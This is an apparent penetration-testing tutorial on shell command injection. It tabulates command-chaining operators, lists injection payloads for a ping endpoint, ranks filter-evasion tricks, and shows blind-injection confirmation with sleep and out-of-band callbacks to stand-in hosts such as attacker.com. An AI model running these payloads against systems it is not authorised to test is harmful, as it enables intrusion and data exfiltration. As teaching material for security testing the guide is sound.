Shell-command injection works by appending an extra command to one the application already runs. The characters that chain commands are the attack surface — learn them, and you can inject on nearly any vulnerable sink.
The Core Operators
| Operator | Name | Behavior | OS |
|---|---|---|---|
; | Semicolon | Run next command regardless of previous result | Linux + PowerShell (not CMD) |
& | Background / sequence | Run both (background in Linux; sequence in Windows) | Linux + Windows |
&& | AND | Run next only if previous succeeded | Linux + Windows |
| | Pipe | Pipe previous output to next command | Linux + Windows |
|| | OR | Run next only if previous failed | Linux + Windows |
` ` | Backticks | Execute inside, substitute output | Linux |
$(...) | Command substitution | Execute inside, substitute output | Linux |
%0a | Newline (URL-encoded LF) | Treated as command separator | Linux + Windows |
%0d | CR | Sometimes acts as separator | Windows (older CMD) |
These operators work regardless of the web application’s language or framework — they’re interpreted by the shell, not the app.
The Only Platform Exception
; does not work in Windows CMD. It still works in:
- Linux (bash, sh, dash, zsh)
- Windows PowerShell
If ; fails but & works, you’re likely talking to CMD.
Practical Use
Given a vulnerable endpoint like:
http://target/ping?ip=INPUT
…which probably runs something like ping INPUT under the hood, try:
127.0.0.1; whoami
127.0.0.1 && whoami
127.0.0.1 | whoami
127.0.0.1 || whoami
127.0.0.1 %0a whoami
127.0.0.1 ; whoami
127.0.0.1 ` whoami `
127.0.0.1 $(whoami)
Each submits different injection strategies. Whichever produces the whoami output confirms injection.
Why Multiple Operators Matter
Apps that filter one operator often miss another. In order of filter difficulty:
;— most commonly blocked|,||,&&— often blocked by regex that targets common patterns%0a(newline) — frequently overlooked, especially in URL contexts`— classic but easy to filter$(...)— same
If the obvious operators fail, %0a (URL-encoded newline) is the most likely sleeper.
Blind vs Visible Injection
Visible — the output of your injected command appears in the response. Easy to confirm.
Blind — the command executes but you don’t see output. Confirm by:
- Timing — inject
sleep 5and watch response time:127.0.0.1 ; sleep 5 127.0.0.1 && sleep 5 - Out-of-band — inject a command that calls home:
127.0.0.1 ; curl http://your-listener.com/hit 127.0.0.1 ; nslookup attacker.com
Blind command injection is just as impactful as visible — you can still exfil via DNS, HTTP callbacks, or write to a file you fetch later.
Front-End Validation
Many apps validate input in the browser (JavaScript) but not on the server. Classic bypass:
- Capture the request in Burp
- Submit raw payload without worrying about the browser filter
- Server still processes it
Front-end filters are UX hints, not security controls. Treat them like you would XSS client-side validation.
